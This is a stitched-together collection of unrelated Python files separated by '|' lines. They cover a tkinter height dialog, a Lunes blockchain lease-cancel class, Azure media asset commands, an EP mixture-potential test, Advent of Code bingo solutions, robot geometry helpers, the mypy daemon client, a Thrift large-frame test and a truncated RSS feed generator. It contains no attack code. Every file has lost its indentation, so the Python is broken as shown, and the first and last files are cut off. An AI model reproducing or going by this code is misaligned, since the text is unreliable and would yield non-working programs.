b=tk.Button(win,text="计算")
b.place(x=20,y=80)
def calc(e):
messagebox.showinfo("结果:","你的身高是"+t.get()+" cm")
b.bind('<Button>',calc)
win.mainloop()
|
from lunespy.client.transactions import BaseTransaction
from lunespy.client.wallet import Account
class CancelLease(BaseTransaction):
def __init__(self, sender: Account, lease_tx_id: str = None,
timestamp: int = None, fee: int = None) -> None:
from lunespy.utils import drop_none
self.cancel_data = drop_none({
"timestamp": timestamp,
"lease_tx_id": lease_tx_id,
"fee": fee
})
super().__init__('Create Lease', self.cancel_data)
self.sender: Account = sender
self.history: list = []
@property
def ready(self) -> bool:
from lunespy.client.transactions.cancel_lease.validators import validate_cancel
return validate_cancel(self.sender, self.cancel_data)
@property
def transaction(self) -> dict:
from lunespy.client.transactions.cancel_lease.validators import mount_cancel
return super().transaction(
mount_tx=mount_cancel,
sender=self.sender,
cancel_data=self.cancel_data)
def send(self, node_url: str = None) -> dict:
from lunespy.client.transactions.cancel_lease.validators import send_cancel
tx = super().send(send_cancel, node_url)
self.history.append(tx)
return tx
|
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
from datetime import datetime, timedelta
from knack.util import CLIError
from azure.cli.command_modules.ams._utils import show_resource_not_found_message
from azure.mgmt.media.models import (Asset, AssetContainerPermission, ListContainerSasInput)
def create_asset(client, account_name, resource_group_name, asset_name, alternate_id=None, description=None,
storage_account=None, container=None):
asset = Asset(alternate_id=alternate_id, description=description, storage_account_name=storage_account,
container=container)
return client.create_or_update(resource_group_name, account_name, asset_name, asset)
def get_sas_urls(client, resource_group_name, account_name, asset_name, permissions=AssetContainerPermission.read.value,
expiry_time=(datetime.now() + timedelta(hours=23))):
parameters = ListContainerSasInput(permissions=permissions, expiry_time=expiry_time)
return client.list_container_sas(resource_group_name, account_name,
asset_name, parameters).asset_container_sas_urls
def get_asset(client, account_name, resource_group_name, asset_name):
asset = client.get(resource_group_name, account_name, asset_name)
if not asset:
show_resource_not_found_message(resource_group_name, account_name, 'assets', asset_name)
return asset
def update_asset(instance, alternate_id=None, description=None):
if not instance:
raise CLIError('The asset resource was not found.')
if alternate_id:
instance.alternate_id = alternate_id
if description:
instance.description = description
return instance
def get_encryption_key(client, account_name, resource_group_name, asset_name):
import binascii
storage_encrypted_asset = client.get_encryption_key(resource_group_name, account_name, asset_name)
storage_encrypted_asset.key = binascii.b2a_base64(storage_encrypted_asset.key, newline=False)
return storage_encrypted_asset
|
#! /usr/bin/env python
# EPTOOLS Python Interface
# Unit tests: EP updates with Gaussian mixture potential
#
# TODO:
# - Create a single comparison function, which can be used to debug
# the updates under realistic conditions
import numpy as np
import apbsint as abt
# Helper functions
# 'x' must be a matrix. The logsumexp function is computed for each column,
# and a row vector is returned
def logsumexp(x):
mx = np.max(x,0)
return np.log(np.sum(np.exp(x-mx),0)) + mx
def reldiff(a,b):
return np.abs(a-b)/np.maximum(np.maximum(np.abs(a),np.abs(b)),1e-8)
# Main code
# Specify mixture component parameters and cavity moments
gm_p = np.array([0.25, 0.5, 0.25])
#gm_v = np.array([0.01, 1., 100.])
gm_v = np.array([0.0001, 1., 10000.])
#cmu = np.arange(-20.,20.,0.1)
#crho_val = 1.
cmu = np.arange(-200.,200.,1.)
crho_val = 1e+6
#crho_val = 1e-6
crho = crho_val*np.ones_like(cmu)
numl = gm_p.shape[0]
m = cmu.shape[0]
# Setup potential manager
pvec = np.zeros(2*numl)
pvec[0] = numl
tvec = np.log(gm_p)
pvec[1:numl] = tvec[:numl-1]-tvec[numl-1]
pvec[numl:] = gm_v
pm_elem = abt.ElemPotManager('GaussMixture',m,tuple(pvec))
potman = abt.PotManager(pm_elem)
potman.check_internal()
# Compute log Z and new moments via 'epupdate_parallel'
rstat = np.empty(m,dtype=np.int32)
alpha = np.empty(m)
nu = np.empty(m)
logz = np.empty(m)
abt.eptools_ext.epupdate_parallel(potman.potids,potman.numpot,potman.parvec,
potman.parshrd,potman.annobj,cmu,crho,rstat,
alpha,nu,logz)
indok = np.nonzero(rstat)[0]
if indok.shape[0] < m:
print 'epupdate_parallel: %d updates failed' % (m-indok.shape[0])
tvec = 1. - nu[indok]*crho[indok]
indok2 = np.nonzero(tvec >= 1e-12)[0]
m2 = indok2.shape[0]
if m2 < m:
print 'epupdate_parallel: %d updates give invalid results' % (m-m2)
indok = indok[indok2].copy()
hmu = cmu[indok].copy()
hrho = crho[indok].copy()
hmu += alpha[indok]*hrho
hrho *= tvec[indok2]
logz = logz[indok].copy()
else:
hmu = cmu + alpha*crho
hrho = crho*tvec
# Compute log Z and new moments by direct code
# We do everything with numl-by-m2 matrices and NumPy broadcasting.
if m2 < m:
cmu2 = cmu[indok]
crho2 = crho[indok]
else:
cmu2 = cmu
crho2 = crho
# Z_l = p_l N(0 | cmu, crho + v_l), Z = sum_l Z_l, r_l = Z_l/Z
#import pdb
#pdb.set_trace()
tmat = np.reshape(crho2,(1,m2)) + np.reshape(gm_v,(numl,1))
logzl = -0.5*(np.log(tmat) + np.reshape(cmu2**2,(1,m2))/tmat +
np.log(2.*np.pi)) + np.reshape(np.log(gm_p),(numl,1))
logz2 = logsumexp(logzl)
rprob = np.exp(logzl-logz2)
# rho_l = crho/(1 + crho/v_l), mu_l = cmu/(1 + crho/v_l)
tmat = np.reshape(crho2,(1,m2))/np.reshape(gm_v,(numl,1)) + 1.
rhol = np.reshape(crho2,(1,m2))/tmat
mul = np.reshape(cmu2,(1,m2))/tmat
hmu2 = np.sum(rprob*mul,0)
mul -= hmu2
hrho2 = np.sum(rprob*(rhol + mul**2),0)
logz2 = logz2.ravel()
hmu2 = hmu2.ravel()
hrho2 = hrho2.ravel()
# Comparison
# For each of logz, mu_hat, rho_hat, we always show the 3 cases with largest
# relative difference
mat1 = np.vstack((logz, hmu, hrho))
mat2 = np.vstack((logz2, hmu2, hrho2))
names = ('logz', 'mu_hat', 'rho_hat')
print 'Gaussian mixture potential:'
print 'p_l =', gm_p
print 'v_l =', gm_v
for k in range(3):
v1 = mat1[k]; v2 = mat2[k]
rdf = reldiff(v1,v2)
ind = np.argsort(rdf)
print '%s:' % names[k]
for j in ind[-1:-4:-1]:
print (' rdf=%.4e (v1=%f,v2=%f):' +
' j=%d,cmu=%f,crho=%f') % (rdf[j],v1[j],v2[j],j,cmu2[j],
crho2[j])
|
from serif.theory.serif_theory import SerifTheory
class SerifEventMentionTheory(SerifTheory):
def mention_arguments(self):
"""Returns a list of just the Mention arguments in this EventMention"""
results = []
for arg in self.arguments:
if arg.mention != None:
results.append(arg)
return results
def value_mention_arguments(self):
"""Returns a list of just the ValueMention arguments in
this EventMention
"""
results = []
for arg in self.arguments:
if arg.value_mention != None:
results.append(arg)
return results
|
def get_checkpoint_resume(hparams):
resume_from_checkpoint = hparams.resume_from_checkpoint
if resume_from_checkpoint is None:
return None
if not hparams.debug:
if hparams.fold_i in resume_from_checkpoint:
return resume_from_checkpoint[hparams.fold_i]
else:
return None
return None
def get_the_lastest_fold(hparams):
return max(hparams.resume_from_checkpoint.keys())
def is_skip_current_fold(current_fold, hparams):
if hparams.resume_from_checkpoint is None:
return False
folds = hparams.skip_folds
if current_fold > get_the_lastest_fold(
hparams) or current_fold not in folds:
return False
return True
|
# #!/usr/bin/env python
#
# import nlopt # THIS IS NOT A PACKAGE!
# import numpy as np
#
# print(('nlopt version='+nlopt.__version__))
#
# def f(x, grad):
# F=x[0]
# L=x[1]
# E=x[2]
# I=x[3]
# D=F*L**3/(3.*E*I)
# return D
#
# n = 4
# opt = nlopt.opt(nlopt.LN_COBYLA, n)
# opt.set_min_objective(f)
# lb = np.array([40., 50., 30e3, 1.])
# ub = np.array([60., 60., 40e3, 10.])
# x = (lb+ub)/2.
# opt.set_lower_bounds(lb)
# opt.set_upper_bounds(ub)
# opt.set_xtol_rel(1e-3)
# opt.set_ftol_rel(1e-3)
# xopt = opt.optimize(x)
#
# opt_val = opt.last_optimum_value()
# result = opt.last_optimize_result()
# print(('opt_result='+str(result)))
# print(('optimizer='+str(xopt)))
# print(('opt_val='+str(opt_val)))
|
from pprint import pprint
def check_bingo(matrix) -> bool:
"""
Check if any row or column is completely marked
Returns:
bool: True if any row or column is completely marked
"""
for i in range(len(matrix)):
if matrix[i][0] == matrix[i][1] == matrix[i][2] == matrix[i][3] == matrix[i][4] == True:
return True
if matrix[0][i] == matrix[1][i] == matrix[2][i] == matrix[3][i] == matrix[4][i] == True:
return True
return False
# return any(
# all(matrix[row][col] for col in range(len(matrix)))
# for row in range(len(matrix))
# ) or any(
# all(matrix[col][row] for col in range(len(matrix)))
# for row in range(len(matrix))
# )
#
def part1():
# Store all the matrix into 1 large list
with open(r"input.txt") as reader:
numbers = list(map(int, reader.readline().split(",")))
mega_matrix = []
small_matrix = []
i = 0
for line in reader:
row = list(map(int, line.split()))
if len(row):
small_matrix.append(row)
i += 1
if i == 5:
i = 0
mega_matrix.append(small_matrix)
small_matrix = []
# The actual problem solving part starts here !
for number in numbers:
for matrix in mega_matrix:
# Check every number in the matrix
for i in range(len(matrix)):
for j in range(len(matrix[0])):
if matrix[i][j] == number:
matrix[i][j] = True
if check_bingo(matrix):
# print(matrix)
unmarked_numbers = sum(list(map(lambda row: sum(
filter(lambda e: e if type(e) == int else 0, row)), matrix)))
print(number)
return unmarked_numbers * number
def part2():
answer = 0
# Store all the matrix into 1 large list
with open(r"input.txt") as reader:
numbers = list(map(int, reader.readline().split(",")))
mega_matrix = []
small_matrix = []
i = 0
for line in reader:
row = list(map(int, line.split()))
if len(row):
small_matrix.append(row)
i += 1
if i == 5:
i = 0
mega_matrix.append(small_matrix)
small_matrix = []
for number in numbers:
new_parts = []
for matrix in range(len(mega_matrix)):
# Check every number in the matrix
for i in range(len(mega_matrix[matrix])):
for j in range(len(mega_matrix[matrix][0])):
if mega_matrix[matrix][i][j] == number:
mega_matrix[matrix][i][j] = True
if check_bingo(mega_matrix[matrix]):
unmarked_numbers = (sum(list(map(lambda row: sum(filter(lambda e: e if type(e) == int else 0, row)), mega_matrix[matrix]))))
print(unmarked_numbers * number)
else:
new_parts.append(mega_matrix[matrix])
mega_matrix = new_parts
part2() # 16830
|
# Copyright 1996-2021 Cyberbotics Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import math
import numpy as np
import transforms3d
def distance2(v1, v2):
return math.sqrt((v1[0] - v2[0]) ** 2 + (v1[1] - v2[1]) ** 2)
def distance3(v1, v2):
return math.sqrt((v1[0] - v2[0]) ** 2 + (v1[1] - v2[1]) ** 2 + (v1[2] - v2[2]) ** 2)
def rotate_along_z(axis_and_angle):
q = transforms3d.quaternions.axangle2quat([axis_and_angle[0], axis_and_angle[1], axis_and_angle[2]], axis_and_angle[3])
rz = [0, 0, 0, 1]
r = transforms3d.quaternions.qmult(rz, q)
v, a = transforms3d.quaternions.quat2axangle(r)
return [v[0], v[1], v[2], a]
def area(x1, y1, x2, y2, x3, y3):
return abs((x1 * (y2 - y3) + x2 * (y3 - y1) + x3 * (y1 - y2)) / 2.0)
def point_in_triangle(m, a, b, c):
abc = area(a[0], a[1], b[0], b[1], c[0], c[1])
mbc = area(m[0], m[1], b[0], b[1], c[0], c[1])
amc = area(a[0], a[1], m[0], m[1], c[0], c[1])
amb = area(a[0], a[1], b[0], b[1], m[0], m[1])
if abc == mbc + amc + amb:
return True
else:
return False
def aabb_circle_collision(aabb, x, y, radius):
if x + radius < aabb[0]:
return False
if x - radius > aabb[2]:
return False
if y + radius < aabb[1]:
return False
if y - radius > aabb[3]:
return False
return True
def segment_circle_collision(p1, p2, center, radius):
len = distance2(p1, p2)
dx = (p2[0] - p1[0]) / len
dy = (p2[1] - p1[1]) / len
t = dx * (center[0] - p1[0]) + dy * (center[1] - p1[1])
e = [t * dx + p1[0], t * dy + p1[1]] # projection of circle center onto the (p1, p2) line
if distance2(e, center) > radius: # circle is too far away from (p1 p2) line
return False
if t >= 0 and t <= len: # E is on the [p1, p2] segment
return True
if distance2(p1, center) < radius:
return True
if distance2(p2, center) < radius:
return True
return False
def triangle_circle_collision(p1, p2, p3, center, radius):
if distance2(p1, center) < radius or distance2(p2, center) < radius or distance2(p3, center) < radius:
return True
if point_in_triangle(center, p1, p2, p3):
return True
return segment_circle_collision(p1, p2, center, radius) \
or segment_circle_collision(p1, p3, center, radius) \
or segment_circle_collision(p2, p3, center, radius)
def point_inside_polygon(point, polygon):
n = len(polygon)
inside = False
p2x = 0.0
p2y = 0.0
xints = 0.0
p1x, p1y = polygon[0]
x, y, _ = point
for i in range(n + 1):
p2x, p2y = polygon[i % n]
if y > min(p1y, p2y):
if y <= max(p1y, p2y):
if x <= max(p1x, p2x):
if p1y != p2y:
xints = (y - p1y) * (p2x - p1x) / (p2y - p1y) + p1x
if p1x == p2x or x <= xints:
inside = not inside
p1x, p1y = p2x, p2y
return inside
def polygon_circle_collision(polygon, center, radius):
# show_polygon(polygon) # uncomment this to display convex hull polygons for debugging purposes
# 1. there is collision if one point of the polygon is inside the circle
for point in polygon:
if distance2(point, center) <= radius:
return True
# 2. there is collision if one segment of the polygon collide with the circle
for i in range(len(polygon) - 1):
if segment_circle_collision(polygon[i], polygon[i+1], center, radius):
return True
# 3. there is collision if the circle center is inside the polygon
if point_inside_polygon(center, polygon):
return True
return False
def update_aabb(aabb, position):
if aabb is None:
aabb = np.array([position[0], position[1], position[0], position[1]])
else:
if position[0] < aabb[0]:
aabb[0] = position[0]
elif position[0] > aabb[2]:
aabb[2] = position[0]
if position[1] < aabb[1]:
aabb[1] = position[1]
elif position[1] > aabb[3]:
aabb[3] = position[1]
return aabb
|
from wtforms import (
widgets,
StringField,
TextField,
TextAreaField,
PasswordField,
BooleanField,
ValidationError
)
class CKTextAreaWidget(widgets.TextArea):
def __call__(self, field, **kwargs):
kwargs.setdefault('class_', 'ckeditor')
return super(CKTextAreaWidget, self).__call__(field, **kwargs)
class CKTextAreaField(TextAreaField):
widget = CKTextAreaWidget()
|
from numpy import exp, array, random, dot
class NeuronLayer():
def __init__(self, number_of_neurons, number_of_inputs_per_neuron):
self.synaptic_weights = 2 * random.random((number_of_inputs_per_neuron, number_of_neurons)) - 1
class NeuralNetwork():
def __init__(self, layer1, layer2):
self.layer1 = layer1
self.layer2 = layer2
# Sigmoid to normalize between 0 and 1
def __sigmoid(self, x):
return 1 / (1 + exp(-x))
# Sigmoid derivative
def __sigmoid_derivative(self, x):
return x * (1 - x)
# Training
def train(self, training_set_inputs, training_set_outputs, number_of_training_iterations):
for i in range(number_of_training_iterations):
# Pass training set
output_from_layer_1, output_from_layer_2 = self.think(training_set_inputs)
# Calculate error
layer2_error = training_set_outputs - output_from_layer_2
layer2_delta = layer2_error * self.__sigmoid_derivative(output_from_layer_2)
# Calculate error
layer1_error = layer2_delta.dot(self.layer2.synaptic_weights.T)
layer1_delta = layer1_error * self.__sigmoid_derivative(output_from_layer_1)
# Calculate adjustment
layer1_adjustment = training_set_inputs.T.dot(layer1_delta)
layer2_adjustment = output_from_layer_1.T.dot(layer2_delta)
# Adjust the weights.
self.layer1.synaptic_weights += layer1_adjustment
self.layer2.synaptic_weights += layer2_adjustment
def think(self, inputs):
output_from_layer1 = self.__sigmoid(dot(inputs, self.layer1.synaptic_weights))
output_from_layer2 = self.__sigmoid(dot(output_from_layer1, self.layer2.synaptic_weights))
# Useless output to print
print (output_from_layer1)
return output_from_layer1, output_from_layer2
if __name__ == "__main__":
#Seed the random number generator
random.seed(1)
# Create layer 1 (4 neurons, each with 3 inputs)
layer1 = NeuronLayer(4, 3)
# Create layer 2 (a single neuron with 4 inputs)
layer2 = NeuronLayer(1, 4)
# Combine the layers to create a neural network
neural_network = NeuralNetwork(layer1, layer2)
# XOR Training set
training_set_inputs = array([[0, 0, 1], [0, 1, 1], [1, 0, 1], [0, 1, 0], [1, 0, 0], [1, 1, 1], [0, 0, 0]])
training_set_outputs = array([[0, 1, 1, 1, 1, 0, 0]]).T
# Train
print ("Training Neural Network")
neural_network.train(training_set_inputs, training_set_outputs, 1000000)
# Test the neural network with a new situation.
print ("Considering a new situation [1, 1, 0] -> ?: ")
hidden_state, output = neural_network.think(array([1, 1, 0]))
print (output)
|
"""Client for mypy daemon mode.
Highly experimental! Only supports UNIX-like systems.
This manages a daemon process which keeps useful state in memory
rather than having to read it back from disk on each run.
"""
import argparse
import json
import os
import signal
import socket
import sys
import time
from typing import Any, Callable, Dict, List, Mapping, Optional, Sequence, Tuple, TypeVar
from mypy.dmypy_util import STATUS_FILE, receive
from mypy.util import write_junit_xml
from mypy.version import __version__
# Argument parser. Subparsers are tied to action functions by the
# @action(subparse) decorator.
parser = argparse.ArgumentParser(description="Client for mypy daemon mode",
fromfile_prefix_chars='@')
parser.set_defaults(action=None)
subparsers = parser.add_subparsers()
start_parser = p = subparsers.add_parser('start', help="Start daemon")
p.add_argument('--log-file', metavar='FILE', type=str,
help="Direct daemon stdout/stderr to FILE")
p.add_argument('--timeout', metavar='TIMEOUT', type=int,
help="Server shutdown timeout (in seconds)")
p.add_argument('flags', metavar='FLAG', nargs='*', type=str,
help="Regular mypy flags (precede with --)")
restart_parser = p = subparsers.add_parser('restart',
help="Restart daemon (stop or kill followed by start)")
p.add_argument('--log-file', metavar='FILE', type=str,
help="Direct daemon stdout/stderr to FILE")
p.add_argument('--timeout', metavar='TIMEOUT', type=int,
help="Server shutdown timeout (in seconds)")
p.add_argument('flags', metavar='FLAG', nargs='*', type=str,
help="Regular mypy flags (precede with --)")
status_parser = p = subparsers.add_parser('status', help="Show daemon status")
p.add_argument('-v', '--verbose', action='store_true', help="Print detailed status")
stop_parser = p = subparsers.add_parser('stop', help="Stop daemon (asks it politely to go away)")
kill_parser = p = subparsers.add_parser('kill', help="Kill daemon (kills the process)")
check_parser = p = subparsers.add_parser('check',
help="Check some files (requires running daemon)")
p.add_argument('-v', '--verbose', action='store_true', help="Print detailed status")
p.add_argument('-q', '--quiet', action='store_true', help=argparse.SUPPRESS) # Deprecated
p.add_argument('--junit-xml', help="write junit.xml to the given file")
p.add_argument('files', metavar='FILE', nargs='+', help="File (or directory) to check")
run_parser = p = subparsers.add_parser('run',
help="Check some files, [re]starting daemon if necessary")
p.add_argument('-v', '--verbose', action='store_true', help="Print detailed status")
p.add_argument('--junit-xml', help="write junit.xml to the given file")
p.add_argument('--timeout', metavar='TIMEOUT', type=int,
help="Server shutdown timeout (in seconds)")
p.add_argument('--log-file', metavar='FILE', type=str,
help="Direct daemon stdout/stderr to FILE")
p.add_argument('flags', metavar='flags', nargs='*', type=str,
help="Regular mypy flags and files (precede with --)")
recheck_parser = p = subparsers.add_parser('recheck',
help="Check the same files as the most previous check run (requires running daemon)")
p.add_argument('-v', '--verbose', action='store_true', help="Print detailed status")
p.add_argument('-q', '--quiet', action='store_true', help=argparse.SUPPRESS) # Deprecated
p.add_argument('--junit-xml', help="write junit.xml to the given file")
hang_parser = p = subparsers.add_parser('hang', help="Hang for 100 seconds")
daemon_parser = p = subparsers.add_parser('daemon', help="Run daemon in foreground")
p.add_argument('--timeout', metavar='TIMEOUT', type=int,
help="Server shutdown timeout (in seconds)")
p.add_argument('flags', metavar='FLAG', nargs='*', type=str,
help="Regular mypy flags (precede with --)")
help_parser = p = subparsers.add_parser('help')
del p
class BadStatus(Exception):
"""Exception raised when there is something wrong with the status file.
For example:
- No status file found
- Status file malformed
- Process whose pid is in the status file does not exist
"""
pass
def main() -> None:
"""The code is top-down."""
args = parser.parse_args()
if not args.action:
parser.print_usage()
else:
try:
args.action(args)
except BadStatus as err:
sys.exit(err.args[0])
ActionFunction = Callable[[argparse.Namespace], None]
def action(subparser: argparse.ArgumentParser) -> Callable[[ActionFunction], ActionFunction]:
"""Decorator to tie an action function to a subparser."""
def register(func: ActionFunction) -> ActionFunction:
subparser.set_defaults(action=func)
return func
return register
# Action functions (run in client from command line).
@action(start_parser)
def do_start(args: argparse.Namespace) -> None:
"""Start daemon (it must not already be running).
This is where mypy flags are set from the command line.
Setting flags is a bit awkward; you have to use e.g.:
dmypy start -- --strict
since we don't want to duplicate mypy's huge list of flags.
"""
try:
get_status()
except BadStatus as err:
# Bad or missing status file or dead process; good to start.
pass
else:
sys.exit("Daemon is still alive")
start_server(args)
@action(restart_parser)
def do_restart(args: argparse.Namespace, allow_sources: bool = False) -> None:
"""Restart daemon (it may or may not be running; but not hanging).
We first try to stop it politely if it's running. This also sets
mypy flags from the command line (see do_start()).
"""
restart_server(args)
def restart_server(args: argparse.Namespace, allow_sources: bool = False) -> None:
"""Restart daemon (it may or may not be running; but not hanging)."""
try:
do_stop(args)
except BadStatus:
# Bad or missing status file or dead process; good to start.
pass
start_server(args, allow_sources)
def start_server(args: argparse.Namespace, allow_sources: bool = False) -> None:
"""Start the server from command arguments and wait for it."""
# Lazy import so this import doesn't slow down other commands.
from mypy.dmypy_server import daemonize, Server, process_start_options
if daemonize(Server(process_start_options(args.flags, allow_sources),
timeout=args.timeout).serve,
args.log_file) != 0:
sys.exit(1)
wait_for_server()
def wait_for_server(timeout: float = 5.0) -> None:
"""Wait until the server is up.
Exit if it doesn't happen within the timeout.
"""
endtime = time.time() + timeout
while time.time() < endtime:
try:
data = read_status()
except BadStatus:
# If the file isn't there yet, retry later.
time.sleep(0.1)
continue
# If the file's content is bogus or the process is dead, fail.
pid, sockname = check_status(data)
print("Daemon started")
return
sys.exit("Timed out waiting for daemon to start")
@action(run_parser)
def do_run(args: argparse.Namespace) -> None:
"""Do a check, starting (or restarting) the daemon as necessary
Restarts the daemon if the running daemon reports that it is
required (due to a configuration change, for example).
Setting flags is a bit awkward; you have to use e.g.:
dmypy run -- --strict a.py b.py ...
since we don't want to duplicate mypy's huge list of flags.
(The -- is only necessary if flags are specified.)
"""
if not is_running():
# Bad or missing status file or dead process; good to start.
start_server(args, allow_sources=True)
t0 = time.time()
response = request('run', version=__version__, args=args.flags)
# If the daemon signals that a restart is necessary, do it
if 'restart' in response:
print('Restarting: {}'.format(response['restart']))
restart_server(args, allow_sources=True)
response = request('run', version=__version__, args=args.flags)
t1 = time.time()
response['roundtrip_time'] = t1 - t0
check_output(response, args.verbose, args.junit_xml)
@action(status_parser)
def do_status(args: argparse.Namespace) -> None:
"""Print daemon status.
This verifies that it is responsive to requests.
"""
status = read_status()
if args.verbose:
show_stats(status)
# Both check_status() and request() may raise BadStatus,
# which will be handled by main().
check_status(status)
response = request('status', timeout=5)
if args.verbose or 'error' in response:
show_stats(response)
if 'error' in response:
sys.exit("Daemon is stuck; consider %s kill" % sys.argv[0])
print("Daemon is up and running")
@action(stop_parser)
def do_stop(args: argparse.Namespace) -> None:
"""Stop daemon via a 'stop' request."""
# May raise BadStatus, which will be handled by main().
response = request('stop', timeout=5)
if response:
show_stats(response)
sys.exit("Daemon is stuck; consider %s kill" % sys.argv[0])
else:
print("Daemon stopped")
@action(kill_parser)
def do_kill(args: argparse.Namespace) -> None:
"""Kill daemon process with SIGKILL."""
pid, sockname = get_status()
try:
os.kill(pid, signal.SIGKILL)
except OSError as err:
sys.exit(str(err))
else:
print("Daemon killed")
@action(check_parser)
def do_check(args: argparse.Namespace) -> None:
"""Ask the daemon to check a list of files."""
t0 = time.time()
response = request('check', files=args.files)
t1 = time.time()
response['roundtrip_time'] = t1 - t0
check_output(response, args.verbose, args.junit_xml)
@action(recheck_parser)
def do_recheck(args: argparse.Namespace) -> None:
"""Ask the daemon to check the same list of files it checked most recently.
This doesn't work across daemon restarts.
"""
t0 = time.time()
response = request('recheck')
t1 = time.time()
response['roundtrip_time'] = t1 - t0
check_output(response, args.verbose, args.junit_xml)
def check_output(response: Dict[str, Any], verbose: bool, junit_xml: Optional[str]) -> None:
"""Print the output from a check or recheck command.
Call sys.exit() unless the status code is zero.
"""
if 'error' in response:
sys.exit(response['error'])
try:
out, err, status_code = response['out'], response['err'], response['status']
except KeyError:
sys.exit("Response: %s" % str(response))
sys.stdout.write(out)
sys.stderr.write(err)
if verbose:
show_stats(response)
if junit_xml:
messages = (out + err).splitlines()
write_junit_xml(response['roundtrip_time'], bool(err), messages, junit_xml)
if status_code:
sys.exit(status_code)
def show_stats(response: Mapping[str, object]) -> None:
for key, value in sorted(response.items()):
if key not in ('out', 'err'):
print("%-24s: %10s" % (key, "%.3f" % value if isinstance(value, float) else value))
else:
value = str(value).replace('\n', '\\n')
if len(value) > 50:
value = value[:40] + ' ...'
print("%-24s: %s" % (key, value))
@action(hang_parser)
def do_hang(args: argparse.Namespace) -> None:
"""Hang for 100 seconds, as a debug hack."""
print(request('hang', timeout=1))
@action(daemon_parser)
def do_daemon(args: argparse.Namespace) -> None:
"""Serve requests in the foreground."""
# Lazy import so this import doesn't slow down other commands.
from mypy.dmypy_server import Server, process_start_options
Server(process_start_options(args.flags, allow_sources=False), timeout=args.timeout).serve()
@action(help_parser)
def do_help(args: argparse.Namespace) -> None:
"""Print full help (same as dmypy --help)."""
parser.print_help()
# Client-side infrastructure.
def request(command: str, *, timeout: Optional[float] = None,
**kwds: object) -> Dict[str, Any]:
"""Send a request to the daemon.
Return the JSON dict with the response.
Raise BadStatus if there is something wrong with the status file
or if the process whose pid is in the status file has died.
Return {'error': <message>} if a socket operation or receive()
raised OSError. This covers cases such as connection refused or
closed prematurely as well as invalid JSON received.
"""
args = dict(kwds)
args.update(command=command)
bdata = json.dumps(args).encode('utf8')
pid, sockname = get_status()
sock = socket.socket(socket.AF_UNIX)
if timeout is not None:
sock.settimeout(timeout)
try:
sock.connect(sockname)
sock.sendall(bdata)
sock.shutdown(socket.SHUT_WR)
response = receive(sock)
except OSError as err:
return {'error': str(err)}
# TODO: Other errors, e.g. ValueError, UnicodeError
else:
return response
finally:
sock.close()
def get_status() -> Tuple[int, str]:
"""Read status file and check if the process is alive.
Return (pid, sockname) on success.
Raise BadStatus if something's wrong.
"""
data = read_status()
return check_status(data)
def check_status(data: Dict[str, Any]) -> Tuple[int, str]:
"""Check if the process is alive.
Return (pid, sockname) on success.
Raise BadStatus if something's wrong.
"""
if 'pid' not in data:
raise BadStatus("Invalid status file (no pid field)")
pid = data['pid']
if not isinstance(pid, int):
raise BadStatus("pid field is not an int")
try:
os.kill(pid, 0)
except OSError as err:
raise BadStatus("Daemon has died")
if 'sockname' not in data:
raise BadStatus("Invalid status file (no sockname field)")
sockname = data['sockname']
if not isinstance(sockname, str):
raise BadStatus("sockname field is not a string")
return pid, sockname
def read_status() -> Dict[str, object]:
"""Read status file.
Raise BadStatus if the status file doesn't exist or contains
invalid JSON or the JSON is not a dict.
"""
if not os.path.isfile(STATUS_FILE):
raise BadStatus("No status file found")
with open(STATUS_FILE) as f:
try:
data = json.load(f)
except Exception as err:
raise BadStatus("Malformed status file (not JSON)")
if not isinstance(data, dict):
raise BadStatus("Invalid status file (not a dict)")
return data
def is_running() -> bool:
"""Check if the server is running cleanly"""
try:
get_status()
except BadStatus as err:
return False
return True
# Run main().
if __name__ == '__main__':
main()
|
from sketching.datasets import Synthetic_Dataset
from sketching.utils import run_experiments
MIN_SIZE = 100
MAX_SIZE = 3000
STEP_SIZE = 100
NUM_RUNS = 21
dataset = Synthetic_Dataset(n_rows=100000)
run_experiments(
dataset=dataset,
min_size=MIN_SIZE,
max_size=MAX_SIZE,
step_size=STEP_SIZE,
num_runs=NUM_RUNS,
)
|
# Copyright (c) Facebook, Inc. and its affiliates.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import socket
import time
import unittest
from threading import Thread
from thrift.protocol import THeaderProtocol
from thrift.server import TCppServer
from thrift.transport import TSocket
from thrift.transport.THeaderTransport import MAX_BIG_FRAME_SIZE
from ThriftTest import ThriftTest
class TestHandler(ThriftTest.Iface):
def testString(self, str):
return str * 2 ** 30
def create_server():
processor = ThriftTest.Processor(TestHandler())
server = TCppServer.TCppServer(processor)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", 0))
port = sock.getsockname()[1]
server.setPort(port)
t = Thread(name="test_tcpp_server", target=server.serve)
t.setDaemon(True)
t.start()
time.sleep(2)
return (server, port)
def create_client(port):
socket = TSocket.TSocket("localhost", port)
protocol = THeaderProtocol.THeaderProtocol(socket)
protocol.trans.set_max_frame_size(MAX_BIG_FRAME_SIZE)
protocol.trans.open()
return ThriftTest.Client(protocol)
class BigFrameTest(unittest.TestCase):
def testBigFrame(self):
server, port = create_server()
with create_client(port) as client:
result = client.testString("a")
self.assertEqual(len(result), 2 ** 30)
|
import utils
from scrapers.base_scraper import BaseScraper
import json
import rfeed
from datetime import datetime
class FeedGenerator:
def __init__(self):
self.scrapers = dict()
def add_scraper(self, scraper_route, scraper: BaseScraper):
self.scrapers[scraper_route] = scraper
def create_feed(self, scraper_name):
"""
Criar o Feed rss
Args:
scraper_name (str): Nome do scraper
Returns:
rss_feed (str): Arquivo xml do feed rss
"""
scraper_obj = self.scrapers[scraper_name]
